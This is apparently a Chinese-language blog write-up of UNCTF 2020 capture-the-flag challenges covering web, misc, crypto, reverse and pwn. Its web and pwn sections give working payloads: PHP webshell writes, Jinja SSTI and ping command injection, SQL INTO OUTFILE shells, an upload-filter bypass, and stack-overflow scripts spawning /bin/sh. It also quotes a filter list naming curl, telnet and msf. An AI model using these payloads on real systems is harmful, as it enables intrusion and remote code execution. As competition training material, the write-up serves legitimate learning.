V3D4's Blog

安全技术记录/分享/交流

0%

UNCTF-2020-WP

又是一年一度的UNCTF,作为一个菜鸡大三老咸鱼,还是做不出师傅们出的这些萌新题,还被全栈的学弟吊着打,不由再次感叹我太菜了〒▽〒

因为赶着要交WP,就先写的简单点吧,好了不说废话了,直接上WP

WEB

0x1 easy_ssrf

简单的SSRF题目,用@或者分号啥的绕过preg_match,没过滤phar,直接用phar读取/flag即可

web1-1

0x2 easyphp

一开始连题目在哪都找不到,后来hint了/?source才知道emmm,看了下源码是获取任意个get的参数

web2-1

web2-2

php的代码审计题目,第一步就是要爆破sha1,只要爆破出sha1(0e+数字)=0e加数字的就可以了,直接在php里面爆比较方便,最后得到0e1290633704,至于这个adminPassword自己可以改就无所谓了

后面就是绕过长度限制,这里用的是覆盖GLOBELS变量的方法,直接将GLOBELS当作数组传进去,GLOBELS数组的key为要执行的命令即可绕过长度限制

payload如下

?source&password=111&source&adminPassword=698d51a19d8a121ce581499d7b701668&verif=0e1290633704&GLOBALS[var1;exec("echo '<?php @eval($w);?>' > 1.php");$a]=222&w=$_POST[key]

这样之后原来的GLOBELS就被我们传入的GLOBELS给覆盖掉了,此时$key的值就是var1;exec("echo '<?php @eval($w);?>' > 1.php");$a,而$GLOBELS[$key]的值为222,eval中拼接后的命令为$var1;exec("echo '<?php @eval($w);?>' > 1.php");$a="222";,完美绕过了限制,写入了webshell,至于$w为什么要单独传入,因为直接往文件里写入$_GET和$_POST似乎会被过滤掉,不知道为啥,所以就这么写了。找了半天没发现flag,最后发现在phpinfo里,绝了。。。

web2-3

0x3 babyeval

也是一道php题目,过滤了括号,ctfshow上有类似的题,直接拿payload来用就好了

推荐参考这篇博客https://www.cnblogs.com/NPFS/p/13797436.html

web3-2

web3-1

0x4 l0vephp

f12看到flag.php和一串base85,解码是get action,根据hint用php://filter读源码发现base被过滤了,换成rot13,成功读到flag.php的源码

1
2
3
4
5
6
<?php

$flag = "unctf{7his_is_@_f4ke_f1a9}";

//hint:316E4433782E706870
?>

hint转字符为1nD3x.php,进去发现又是一个php的rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 


error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}

foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}

@eval($code);
?>

这里当时也没绕,因为一开始这题flag就在/flag,直接就读到了。。。

咋绕还没研究过,据说p神的博客上有,好像是这篇文章https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

有空研究下

0x5 easyflask

这个题目好像也有点问题,可以直接注册admin,最后看源码确实也不让注册,不知道为啥就可以,本来第一步应该要爆破jwt的key的好像。。

admin登录后给了一个路由/secret_route_you_do_not_know,访问后要我们传入guess猜数字

一开始尝试爆破发现数字确实是可以猜的,最后一步说啥读取source code不知道啥意思,但是每次数字都不一样,也就是说在一次的会话中才能继续下一步,也不知道正常是怎么个解法

后来发现可以ssti,但是过滤了一大堆东西,不过可以用attr额外传参,参考知乎这篇文章

https://zhuanlan.zhihu.com/p/93100225

最后payload如下

1
2
3
4
5
6
7
8
9
10
11
?guess={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(117)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)|attr(request.args.re)()}}
&x1=__class__
&x2=__base__
&x3=__subclasses__
&x4=__getitem__
&x5=__init__
&x6=__globals__
&x7=__builtins__
&x8=eval
&x9=__import__(%22os%22).popen("cat flag.txt")
&re=read

web5-1

0x6 ezphp

源码如下,就是一个弱类型,字符串和0比为true

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}

最后的payload

data=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

0x7 easyupload

文件上传,无论是文件名还是内容带ph的都被ban了,可以通过改.htaccess的方法绕,jpg解析成php就可以了,至于htaccess里的php可以用\加换行绕过,参考这篇文章

https://www.anquanke.com/post/id/205098

web7-1

shell的内容的话这些都被ban了,可以这么写<?=@eval($_POST['ant']);

perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

web7-2

最后在根目录找到flag

web7-3

0x8 ezfind

这题很迷,脑洞题,有个搜索框但是跟后端没交互,最后get传参一个name=%00就出flag了,也不知道为啥,后来给了个hintif(!(is_file($name)===false)){flag}else{no flag},看意思应该是is_file这个函数碰到%00变成null了,跟false比就变成false,然后!一下变成true,就出flag了

0x9 checkin-sql

一道注入题,select被ban,可以用堆叠注入加预处理语句绕过,堆叠注入的话任何被ban的字符都可以用char来代替,只要char没被ban,然后用concat连接就好了

最脑洞的是一开始在数据库里找了半天都没找到flag,最后说不在数据库里。。

所以考虑写入shell,至于路径的话盲猜了一个/var/www/html,最后又在phpinfo找到了flag

payload:?inject=1';PREPARE jwt from concat('selec','t',' "<?php phpinfo();" into outfile "/var/www/html/123',char(46),'php"');EXECUTE jwt;#

web9-1

0x10 UN’s_online_tools

ping的命令注入rce,这道题也是趁着坏掉的时候做的,当时非法字符也直接打印出结果了。。

后来试了下可以用反斜杠,flag和*也被过滤了就用问号,空格用%09,payload如下

?url=127.0.0.1%0aca\t%09/fla?

web10-1

很奇怪的后来看了源码明明反斜杠也被ban了,不知道为啥能执行。。

web10-2

正确的解法应该是用base64来绕过,payload如下

?url=127.0.0.1%0aecho%09Y2F0IC9mbGFn|base64%09-d|sh

0x11 easyunserialize

简单的反序列化字符逃逸,甚至就是上次ctfshow月饼杯的原题,把字符串改掉了而已emmm

直接上payload吧

challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

这一串是104个字符,8个challenge替换后就多了32个字符,变成104个,成功将我们的password逃逸了出去,替换掉了原来的password

MISC

0x1 baba_is_you

直接记事本打开末尾有一个B站地址,flag就在评论区

0x2 被删除的flag

这题目看意思好像要恢复文件,但是linux里strings一下就出来了

0x3 阴阳人编码

这题一开始被骗了,因为GitHub上确实有一个阴阳怪气编码,但是怎么都解不出来

后来看到.?!想到了brainfuck/Ook编码,去这里把文字去掉保留.?!去解一下就出来了

misc3-1

0x4 你能破解我的密码吗

下载一个shadow文件,里面有这串hash$1$AH$xtjky.3kppbU27tR0SDJT.去cmd5上解下就行了,是123456

0x5 爷的历险记

一个RPG游戏,一开始玩了一会,发现打不过,就去文件里找了,最后在data文件夹的CommonEvents.json里找到了flag

misc5-1

0x6 撕坏的二维码

直接补两个定位点,一扫就出来了

misc6-1

0x7 YLB绝密文件

给了一个流量包,追踪tcp会发现一个压缩包,一个pyc文件和一段异或代码

misc7-1

misc7-2

misc7-3

手动把压缩包提取出来,解压得到一个异或过的文件,把pyc也手动提取出来,去这里反编译得到xor密钥YLBSB?YLBNB!,再用原代码异或一下得到base64,去base64.us解码成hex,用winhex填入后得到一个docx文档,直接ctrf f搜索得到flag

misc7-4

0x8 EZ_IMAGE

拼图题,直接用gaps拼就好了

gaps的环境不好搞,可以参考这个

先用montage拼接

montage *.jpg -tile 15x15 -geometry +0+0 ../tmp.png

misc8-1

再用gap复原,size指的是每张图片的大小,这里为60*60

gaps --image=tmp.png --size=60 --save

misc8-2

0x9 零

零宽隐写,linux下vim就可以看到零宽度字符,复制去去这个网站

http://330k.github.io/misc_tools/unicode_steganography.html

解码一下就好了

0x10 YLB’s CAPTCHA - 签到题

确实签到题,就只要输入十次阴间验证码,下载下来放stegsolve里换个色道可以看清楚点

0x11 躲猫猫

下载下来一个打不开的xlsx,直接压缩包打开,在xl文件夹的sharedStrings.xml里发现base64 dW5jdGYlN0I3MzgzYjY3ZGU5MTA2YTZmMTBmZGJlNGU4ZWJjNjRjZSU3RA==,解码就是flag

0x12 ET-msg

脑洞题,一开始都没人做出来,

首先给了一串长度为2400的01,看到一堆连在一起的0和1想到是画图,在python里尝试几次后发现是一张80*30的图,旋转之后再镜像翻转后如下,附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
x = 80
y = 30
s = '000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101010000000000000000000001010000010000000000000000000100010001000000000000000000010101010101010000000000000000000000000000000000000000000000000000000000000000000000000000000111111111000000000000000000000100000001000000000000000000000101101101000000000000000000000100000001000000000000000000000101000101000000000000000000000101111101000000000000000000000100000001000000000000000000000111111111000000000000000000000000000000000000000000000000001001000111100000000000000000001001000100100000000000000000001001000100100000000000000000001001000100100000000000000000001111000100100000000000000000000000000000000000000000000000001110111011100000000000000000001000010010000000000000000000001000010011100000000000000000001110010010000000000000000000000000000000000000000000000000011000000000000000000000000000010000000000000000000000000000010000101000100000000000000000110010101010001000000000000000010010101010101000000000000000010000000000000000000000000000011000000000000000000000000000000000000000000000000000000000000000100000000000000000000000001000001000000000000000000000000010000000100000000000000000001010101010101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000010000000000000000000001010100000000000000000000000000000001000100000000000000000001010101010101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000010000010000000000000000000000000101000001000000000000000001010101010101000000000000000000000000000000000000000000000001100000000000000000000000000000100000000000000000000000000000100000000000000000000000000000110000000000000000000000000000100000000000000000000000000000100000000000000000000000000001100000000000000000000000000000000000000000000000000000000011111111111111111100000000000000000000000000000000000000000011110111101111011100000000000010000100101001010110000000000010110100101001010010000000000010010100101001010110000000000011110111101111011100000000000000000000000000000000000000000010000100101111010010000000000010000100101000010100000000000010000100101000011000000000000010000100101000010100000000000011110111101111010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
# s = s[::-1]
im = Image.new('RGB',(x,y))
n = 0
for i in range(x):
for j in range(y):
if s[n]=='0':
im.putpixel([i,j],(255,255,255))
else:
im.putpixel([i,j],(0,0,0))
n += 1
im.save("untmp.png")

misc12-1

然后就卡住了,我一开始被dcode上的Dotsies Font给误导了,以为是字符。。

misc12-2

后来出了hint:阿雷:Arecibo,百度一搜才知道是数字

后面的hint里还有个7,加上这张图最上面也是0到7,就想到了七进制

将图中先翻译成数字为133121214201066214100215205

三个一组分开,再转为10进制
73 64 109 99 48 109 49 110 103

查一下ascii得到flag:I@mc0m1ng

0x13 mouse_click

常规鼠标流量题,先t-shark命令提取left-over区的数据

tshark -r mouse_click.pcapng -T fields -e usb.capdata > usb1data.txt

再上脚本将数据转化为坐标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python

# coding=utf-8

nums = []
keys = open('usb1data.txt','r')
posx = 0
posy = 0
res = open('res.txt','a')
for line in keys:
try:
x = int(line[2:4],16)
y = int(line[4:6],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
# print(line[4:6])
if btn_flag == 1 :
​ print(posx,posy)
​ res.write(str(posx)+' '+str(-posy))
​ res.write('\n')
except:
pass
res.close()

最后Gnuplot画图即可

plot "res.txt" using 1:2

misc13-1

0x14 网络深处1

创新题,师傅出题出了好久,可惜google有网站可以一把梭,舒服的拿了个一血emmm

首先有段wav音频,可以听出来是拨号声,提示了电话号码是压缩包密码,但当时我只有python的dtmf这个脚本,解不出来里面的数字,所以用archpr爆破了下,也挺快,后来根据舒服说的用dtmf2num这个软件本可以解出来,试了下确实可以,如下

misc14-1

打开压缩包后又是一段wav,直接拖到au,看频谱图发现关键词tupper

misc14-2

Google一下发现是可以画图的一个东西,具体是啥也没明白,最后把第一个txt里的数字放在这个网站画个图就拿到flag了

misc14-3

0x15 倒影

简单题,winhex打开发现最后有一段base64,解码给了一个倒过来的hex,直接python里[::-1]倒一下,填入winhex得到压缩包,最后爆破一下密码就行了

0x16 太极八卦

纯算法题,这题搞了好久,主要是双螺旋矩阵不会写。。

首先是根据那张图,一开始就想到了要从左上和右下来双螺旋读取数据,可惜代码能力太弱了,后来在csdn上找到了一个脚本,自己改了下就拿来用了,至于双螺旋矩阵,就是下面这种

misc16-1

生成了矩阵后,就是一个读取问题了,我的想法就是,先生成一个长度跟给的八卦数据一样的矩阵,也就是57*57,然后做一个字典,读取txt中的内容后将每组八卦图形都对应编号,然后再按顺序读取就行。读取完数据后还要做一个替换,将每个八卦图像替换成相应的二进制,再转成10进制,再去对应base64的码表转换成base64,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
def pairterSpiralMatrix1(size, f):  # f位1左上开始,0右下开始
if (size % 2 != 1):
size += 1
arr = [([0] * size) for i in range(size)] # 生成矩阵
max = (size * size + 1) // 2 # 矩阵最大值
min = 1
x, y = size // 2, size // 2
arr[y][x] = max # 中心点
x -= 1 # 向左移动一步
# arr[y][x] = arr[size - 1 - y][size - 1 - x] = 2
if f == 1:
arr[y][x] = max - 1
elif f == 0:
arr[size - 1 - y][size - 1 - x] = max - 1
else:
arr[y][x] = arr[size - 1 - y][size - 1 - x] = max - 1
num, step = max - 1, 1 # 表示每次存取的数字
while num > min: # 双螺旋矩阵赋值动作同时进行,step不是表示程序赋值的次数,而是表示程序赋值的方向,
if step % 2 == 1: # 奇数步 右上,左下
for i in range(step * 2 - 1):
num -= 1
y += 1 # 每次只是x增加1,
# arr[y][x] = arr[size - 1 - y][size - 1 - x] = num # 向右,对称赋值
if f == 1:
arr[y][x] = num
elif f == 0:
arr[size - 1 - y][size - 1 - x] = num
else:
arr[y][x] = arr[size - 1 - y][size - 1 - x] = num
for i in range(step * 2 + 1): # i表示次数,之所以每次会出现i每次相隔为2,向右的步数加上2等于向下的步数,
num -= 1
x += 1 # 每次增加y,增加i次
# arr[y][x] = arr[size - 1 - y][size - 1 - x] = num # 向下
# arr[y][x] = num
if f == 1:
arr[y][x] = num
elif f == 0:
arr[size - 1 - y][size - 1 - x] = num
else:
arr[y][x] = arr[size - 1 - y][size - 1 - x] = num
if (num == min):
break
step += 1
else: # 偶数步。向左的步数加上2等于向上的步数,左上,右下
for i in range(step * 2 - 1):
num -= 1
y -= 1
# arr[y][x] = arr[size - 1 - y][size - 1 - x] = num # 向右
# arr[size - 1 - y][size - 1 - x] = num
# arr[y][x] = num
if f == 1:
arr[y][x] = num
elif f == 0:
arr[size - 1 - y][size - 1 - x] = num
else:
arr[y][x] = arr[size - 1 - y][size - 1 - x] = num
for i in range(step * 2 + 1):
num -= 1
x -= 1
# arr[y][x] = arr[size - 1 - y][size - 1 - x] = num # 向上,对称赋值
# arr[y][x] = num
if f == 1:
arr[y][x] = num
elif f == 0:
arr[size - 1 - y][size - 1 - x] = num
else:
arr[y][x] = arr[size - 1 - y][size - 1 - x] = num
if (num == min): # 最后跳出循环
break
step += 1 # 步子一直增加
# for matrix in arr:
# print("\t".join(map(lambda x: str(x), matrix)))
return arr


pairterSpiralMatrix1(5,3)
# pairterSpiralMatrix1(5,3)
# pairterSpiralMatrix1(5)
# pairterSpiralMatrix1(5,1)
# print('\n')
# pairterSpiralMatrix1(5,0)

# t = pairterSpiralMatrix1(3)
# print(t)
arr = pairterSpiralMatrix1(57, 1)#左上
# print arr
arr1 = pairterSpiralMatrix1(57, 0)#右下
f = open('out.txt', encoding='utf-8')
bg = f.readlines()
# bg = bg[2].strip().split(' ')
l = len(bg[2].strip().split(' '))
# print(bg)
# print l
ls = {}#左上
ls1 = {}#右下
# print arr[0][0]
for i in range(l):
for j in range(l):
# print arr[i][j]
if arr[i][j] != 0:
ls[arr[i][j]] = bg[i].strip().split(' ')[j]

for i in range(l):
for j in range(l):
# print arr[i][j]
if arr1[i][j] != 0:
ls1[arr1[i][j]] = bg[i].strip().split(' ')[j]
#print(ls1)

res = ''
for i in range(1, len(ls) + 1):
res += ls[i] + ' '
#print(res.split(' ')[57])
flag = ''
for i in res.split(' '):
flag += i + ' '
#print(flag.split(' '))

res1 = ''
for i in range(1, len(ls) + 1):
res1 += ls1[i] + ' '
#print(res1.split(' ')[57])
flag1 = ''
for i in res1.split(' '):
flag1 += i + ' '
#print(flag1)
#print(set(flag) & set(flag1))
rrr = []
rrrr = []
for i in flag.split(' '):
# rrr.append(i.replace('☰','000').replace('☱','001').replace('☲','010').replace('☳','110').replace('☴','100').replace('☵','101').replace('☶','110').replace('☷','111'))
rrr.append(i.replace('☰','111').replace('☶','100').replace('☷','000').replace('☴','110').replace('☱','011').replace('☲','101').replace('☵','010').replace('☳','001'))
for i in flag1.split(' '):
# rrrr.append(i.replace('☰','000').replace('☱','001').replace('☲','010').replace('☳','110').replace('☴','100').replace('☵','101').replace('☶','110').replace('☷','111'))
rrrr.append(i.replace('☰','111').replace('☶','100').replace('☷','000').replace('☴','110').replace('☱','011').replace('☲','101').replace('☵','010').replace('☳','001'))

#print(rrr[:-3])
#print(rrrr[:-3])
base64_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P','Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f','g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/']

rrr1 = []
for i in rrr[:-3]:
if i != '==':
rrr1.append(base64_list[int(i,2)])
else:
rrr1.append(i)
#print(rrr1)

rrr2 = ''
for i in rrr1:
rrr2 += i

print(rrr2)

rrrr1 = []
for i in rrrr[:-3]:
if i != '==':
rrrr1.append(base64_list[int(i,2)])
else:
rrrr1.append(i)
#print(rrrr1)

rrrr2 = ''
for i in rrrr1:
rrrr2 += i

print(rrrr2)

生成矩阵的部分代码是复制过来改的,所以有些注释可能不对,大概能看懂就行

上面的代码最后结果是两段base64,也是去base64.us上面解码为hex,再填入winhex,得到两张bmp,最后对两张图片做一下异或,或者更简单直接去linux上compare一下,得到flag

misc16-2

CRYPTO

0x1 鞍山大法官开庭之缺的营养这一块怎么补

培根密码,把ot替换为ab解码就行了

0x2 wing

查了下资料发现是word里的wingdings 2符号,对照图片找到每个字符的字符代码再chr一下就好了

crypto2-1

0x3 easy_rsa

最基础的rsa,pqe都知道了,直接上脚本求个d就能解

0x4 简单的RSA

e非常大,pq也不知道,典型维纳攻击,上脚本一把梭

顺便给个脚本地址https://github.com/pablocelayes/rsa-wiener-attack

0x5 signin

用aes加密了两次,给了一个明文和密码,可以折中爆破两个密钥,即明文加密,密文解密,两者一样就可以得到两个密钥,这样爆破次数就只有100*100*100*2,下面附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from Crypto.Cipher import AES
from string import printable
from binascii import hexlify
from binascii import b2a_hex, a2b_hex

def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + ('\0' * add)
return text.encode('utf-8')
#
#
def decrypt(text, key):
key = key.encode('utf-8')
mode = AES.MODE_ECB
cryptor = AES.new(key, mode)
plain_text = cryptor.decrypt(a2b_hex(text))
return hexlify(plain_text)
return bytes.decode(plain_text).rstrip('\0')


def encrypt(text, key):
key = key.encode('utf-8')
mode = AES.MODE_ECB
text = add_to_16(text)
cryptos = AES.new(key, mode)
cipher_text = cryptos.encrypt(text)
return b2a_hex(cipher_text)


list1 = {}
pt = 'UNCTF2020_Enjoy_Crypto~'
cipher = '01a4e429e76db218fa0eb18f03ec69c9200a2362d8b4d7ea46170ce698389bbd'
for i in printable:
for j in printable:
for k in printable:
key1 = '0000000000000' + i + j + k
list1[i + j + k] = encrypt(pt, key1)
# key2 = 'abc0000000000000'
# cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
# cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)
# val = len(pt) % 16
# if not val == 0:
# pt += b'\x00' * (16 - val)
# c1 = cipher1.encrypt(pt)
# list1[i + j + k] = hexlify(cipher2.encrypt(c1))

# print(list1)
list2 = {}
for i in printable:
for j in printable:
for k in printable:
key2 = i + j + k + '0000000000000'
list2[i + j + k] = decrypt(cipher, key2)
# print(list2)

L1 = []
L2 = []
for i in list1.values():
L1.append(i)
for i in list2.values():
L2.append(i)

same = set(L1) & set(L2)
same = list(same)[0]
print('key1:0000000000000'+list(list1.keys())[list(list1.values()).index(same)])
print('key2:'+list(list2.keys())[list(list2.values()).index(same)]+'0000000000000')

key1='0000000000000' + list(list1.keys())[list(list1.values()).index(same)]
key2= list(list2.keys())[list(list2.values()).index(same)]+'0000000000000'

# def get_key(dict, value):
# return [k for k, v in dict.items() if v == value]
#
# print(get_key(L1,same))
# key1 = '0000000000000W<&'
# key2 = '0/i0000000000000'
c4 = b'196cc94c2d685beb54beeaa14c1dc0a6f3794d65fca0d1a1274515166e4255ab367383092e42d774992f74bc138faaad'
c3 = decrypt(c4,key2)
flaghex = decrypt(c3,key1)
print(flaghex)
print(a2b_hex(flaghex))

RE

0x1 easyMaze

常规迷宫题,拖进ida发现是wasd走路,有调试器检测,NOP掉后调试一下发现迷宫大概长这样,手动走一下就好了

Re1-1

0x2 ICU

没有看逻辑,发现加密是有规律的,每三位生成四位,并且比如a和aa加密后开头都是一样的,就是说只要是一个字符开头后面再加其他字符加密后的前面的字符也是一样的,依据这个可以写程序爆破即可,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import subprocess
from string import ascii_letters as lt

s = 'HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9'
print(len(s))


process = subprocess.Popen(['ICU.exe'],stdout = subprocess.PIPE,
stdin = subprocess.PIPE)

# out = process.communicate('A'.encode())
# out = str(list(out)[0])
# out = out.split('\\n')[4].replace('\\r','')
#res = 'unctf{we_remember_everything_YLBN'
res = 'unctf{'

for i in range(2, len(s)//4):


for a in lt+'+_}!':
for b in lt+'+_}!':
f1 = False
f = False
for c in lt+'+_}!':
f2 = False
process = subprocess.Popen(['ICU.exe'], stdout=subprocess.PIPE,stdin=subprocess.PIPE)
part = a + b + c
out = process.communicate((res + part).encode())
print(res + part)
out = str(list(out)[0])
out = out.split('\\n')[4].replace('\\r', '')
print(out)
print(s[0:4*(i+1)])
# print(out[i])
# print(s[i])
if out[4*i]!=s[4*i]:
f1 = False
break
else:
f1 = True
if out[4 * i+1] != s[4 * i+1]:
f2 = False
break
else:
f2 = True
if out==s[0:4*(i+1)]:
res += part
print(out)
print(s[0:4 * (i + 1)])
print(part)
f = True
break
if f2==False:
break
if f1==False:
break
if f == True:
break
if f == True:
break
if f == False:
print('false:'+part)
break

print(res)

爆破要点时间,可以边爆边猜,因为都是有意义的单词,最后flag是:unctf{we_remember_everything_YLBNB!}

0x3 ezRust

该程序需要两个参数才能运行,先搜索字符串,根据success字眼来到主代码段,顺便看到了两串奇怪的字符串“YLBNB” 和 “RUSTPROGRAMING”,来到success和fail判断分支后,进行逐步溯源,最后发现要输入的两个参数就是这两个字符串,抱着试一试的心态,最后发现还真是。

0x4 re_checkin

64位,搜索字符串,定位到input处,然后发现str1和str2进行了比对操作,跟进str2,发现:

然后点击byte_42F041,按x进行搜索交叉引用:

看到了flag

0x5 反编译:

用pyinstxtractor.py 文件对exe进行反编译操作,生成一个文件夹,文件夹下有个“run”文件,发现缺少了文件头,补上pyc的文件头:

33 0D 0D 0A 00 00 00 00 00 00 00 00

然后改扩展名为run.pyc ,最后放到在线py反编译网站上进行反编译得到如下代码程序:

1
2
3
4
5
6
7
8
9
str2 = 'UMAQBvogWLDTWgX"""k'

flag = ''

for i in range(len(str2)):

flag += chr(ord(str2[i]) + i)

print(flag)

把以上代码运行一遍就得到flag了

0x6 babypy:

本题和“反编译”解题流程类似,也是用经典python反编译文件pyinstxtractor.py对exe文件进行反编译得到一个文件夹,补上缺少的pyc文件头,然后改扩展名为babypy.pyc,放到在线python反编译网站,发现只能反编译一分:

1
2
3
4
5
6
7
import os

import libnum

import binascii

flag = 'unctf{*******************}'

一开始很灰心,不过后来发现导入了libnum和binascii,又根据题目给出的tip.txt,我写出了如下脚本:

1
2
3
import libnum
b='111010101101110011000110111010001100110011110110101010001101000010000000111010001011111011010010111001101011111011100100110010101100001001100010011000101111001010111110110001100110000001100000011000101111101'
print(libnum.b2s(b))

一不小心猜对了,得到flag

0x7 ezvm

这一题带有“试”的成分。

64位,字符串搜到“flag is what you input”,明白了本题的意思,然后跟进,往上溯源看到了unk_404040,得到了一些数据:

整理并且转为十进制得到:

150, 48, 144, 106, 159, 54, 39, 116, 179, 49, 157,95,142, 95, 17, 97, 157, 121, 39, 118, 131

发现有一些并不能转为ascall

后续根据动态调试,我发现我们输入的数据存入内存后会发生变换,不是原先的数据,再拿变换后的数据与上面这串数字进行比对。

这里举一个例子:

1
2
3
4
//输入的数据:
61 61 61 61 61 61 61 61 0A 0A
//经过观察发现,当call 4017D0函数后 数据变为了:
5C 61 5C 61 5C 61 5C 61 AF 0A

发现都是隔着一个进行变换,再结合上面的这串不能转换为ascall的数字,发现偶数位的可以转换ascall,而奇数位都很奇怪,那是因为做了转换。

具体变换的算法我没有深入研究,我只是不断调试,把每一个字符(a-z,A-Z,0-9)试了过去。

根据动调发现 4017D0这个函数很重要,在这里下断点,然后尝试输入不同的字符,最后得到flag:

unctf{90dj06_th1s_A_3asy_vm}

PWN

0x1 YLBNB

直接远程连接即可:

1
2
3
4
5
#coding:utf-8
from pwn import *
p = remote('45.158.33.12',8000)
p.recv()
p.interactive()

0x2 fan

纯栈溢出,然后返回到system(“/bin/sh”)

1
2
3
4
5
6
7
from pwn import *
# p=process('./pwn')
p=remote('node2.hackingfor.fun',34518)
vul= 0x400735
payload='a'*(0x30+0x8)+p64(vul)
p.sendline(payload)
p.interactive()

0x3 do_you_like_me?

本题和fan题解法一样

1
2
3
4
5
6
7
from pwn import *
# p=process('./pwn')
p=remote('node2.hackingfor.fun',38675)
vul= 0x4006cd
payload='a'*(0x10+0x8)+p64(vul)
p.sendline(payload)
p.interactive()